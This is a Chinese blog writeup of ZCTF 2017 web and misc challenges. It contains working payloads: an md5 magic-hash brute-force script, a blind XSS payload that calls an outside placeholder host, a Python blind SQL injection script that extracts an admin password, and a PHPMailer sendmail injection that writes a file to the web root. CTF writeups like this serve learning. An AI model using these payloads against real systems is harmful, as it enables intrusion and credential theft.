HeartSky's blog


在渗透之路上渐行渐远


ZCTF 2017 writeup

Web

web100 - 100

简单点
http://58.213.63.30:10006/866c1f6d2294a19105366ffdae702584/

打开后只显示了 ha?,没有任何功能。猜测是有备份文件泄露,试了下 .index.php.swp,得到了源码

1
2
3
4
5
6
7
8
9
10
11
<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
if (strstr($flag, 'zctf')) {
if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
die('ZCTF{#########}');
}
}
}
die('ha?')
?>

简单的 md5 爆破,因为 substr(md5('15562'),8,16) 是以 0e 开头的,所以只要保证我们的中间的这几位 md5 值是 0e 开头,后面的都是数字即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

for i in range(10000000):
s = 'zctf' + str(i)
md5 = hashlib.md5(s).hexdigest()
h = md5[8:24]
flag = 1
if md5[8:10] == '0e':
for j in md5[10:24]:
if j.isalpha():
flag = 0
break
if flag == 1:
print s
break

Find my eyes - 100

打开后是一个不知道什么 cms 的站,发表评论什么的功能都是假的,只有 contact.php 可以,然后结合响应头中有 CSP 头

1
2
Content-Security-Policy:
default-src 'self'; script-src 'self' 'unsafe-inline';

猜测可能是盲打 XSS
这个表单有 Name Email Team textarea 字段,刚开始一直在尝试 textarea 字段,发现基本上关键字都被过滤了

1
2
3
4
5
6
7
8
9
10
11
eval
document
location
href
window
src
svg
img
'
"
括号

没找到方法绕过,又去看 Name 和 Team 字段,虽然没有这些过滤,但怎么也收不到请求,猜测后台只获取了 textarea 字段的值并显示了出来,那么 payload 还是在 textarea 字段里,最后找到了一个长短短的 payload

1
</textarea><script>//@ sourceMappingURL=http://xxx.com</script>

PS: //@ sourceMappingURL=xxx.map 是用来启用 Source map 的,而 Source map 是用来代码出错时显示原始代码而不是转换(压缩、多个文件合并、其他语言编译成 JS)后的代码,方便开发者调试
参考链接: http://www.ruanyifeng.com/blog/2013/01/javascript_source_map.html

PS2: //@ sourceMappingURL=xxx.map 已弃用,代替为 //# sourceMappingURL=xxx.map

easy apk - 200

下载后是一个 APK,逆向队友反汇编出客户端源码,是请求了 / 和 /mail.php 这两个地址,猜测是要先登录再发送邮件什么的
手机抓包看到登录的用户名和密码进行了加密,然后队友给了加密算法,开始尝试都是返回 {"result":"no","username":""},试了下 sql 注入,结果发现返回了 {"result":"hacked","username":""},说明是有过滤的,那么肯定就是 sql 注入获取 admin 的密码然后再登录 mail.php进行下一步
测试得到过滤了这些

1
2
3
4
5
6
7
(
)
&
|
union select
from
password

值得注意的是 union 和 select 单独出现都是可以的,但一起出现就 GG 了,起初用 /**/ 替换之间的空格发现还是被过滤,就以为是 union select 不能同时出现的,是绕不过的,想要盲注,可是没有括号想了很久都没想到,因为是函数的话都要用到括号。明天起来发现土师傅绕过了union select

1
union distinct select

这样就是可以的,那么后台的过滤应该是 union 和 select 之间没有字母数字的话就会被拦截。
PS:加上 distinct 和不加是对查询结果没有影响的,都会对结果去重,而另一个 union all select 则是不去重,显示所有结果
然后我们的目标就是获得 admin 的密码进行登陆了,因为 password 被拦了,所以这里只能盲注。利用 order by 的特性,如果我们根据 password 那一列对数据进行排序,如果我们选取的字符大于 password 中对应的字符,并且是在降序排序的情况下,第二条查询结果就会显示
写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# py2.7
import requests

def encrypt(name):
key = "1470"*100
name = ''.join(reversed(list(name)))
tmp=[]
for i in range(len(name)):
tmp.append(hex(ord(name[i])^ord(key[i]))[2:].zfill(2))

enc = ''.join(tmp)
return enc

def getPassword():
password = ''
for i in range(36):
for j in range(33,127):
name = "admin' union distinct select 1,'test','" + password + chr(j) + "' order by 3 desc#"
enc = encrypt(name)
payload = {'username':enc, 'password':111}
r = requests.post('http://58.213.63.30:10005', data=payload)
if 'test' in r.text:
password += chr(j-1)
print password
break

# print encrypt("admin' union distinct select 0,2,3 order by 1 asc#")
getPassword()

得到密码 5AF1AB27B1BE8BB8E39BDF98CD2CFCE4
md5 查一下为 CleverBoy123
然后进行加密就可以登陆了,这也就解释了前面为什么

1
username=admin&password=1'||1#

返回的是 {"result":"no","username":"admin"} 了,第一次查询 where 条件是 username 和 password 的联合,绕过,为 admin,但后面又对密码的 md5 值进行了检测,所以 result 为 no

第二步是发送邮件,联想到之前 PHPMailer 的 CVE,利用 sendmail 写入 log 的方式

1
a( -X/var/www/html/upload/test.php -OQueueDirectory=/tmp )@qq.com

get flag

MISC

Russian zips - 300

zip 压缩包伪加密,更改第八位的 01 为 00 即可解密(Linux 直接 binwalk -e 即可),然后得到一个 .mca 文件,是 mc 的地图文件, 下载个 mc 或者 地图编辑器什么的都可以
不懂为啥300分

Whisper - 400

下载后有这些文件

1
2
3
hint1.png
start here.exe
flag.rar

flag 所在的压缩包被加密过了,先看下 hint1.png,用 stegsolve 可以看到提示

1
Ron,Adi,Leonard,and don't forget to check this file carefully

搜了下是 RSA 的三个作者,那么应该是什么东西里有 RSA
然后逆向的队友分析了下 start here.exe,得到 n=2344088051,e=65537,然后还有 44 个密文,解密得到

1
Hint 2: a hidden RAR file, encoded in base64

然后再根据提示1里的仔细检查这个文件,可以看到图片后有一大串 base64,base64 decode 后分离文件
然后用 bz2 module 解密就能拿到 flag 了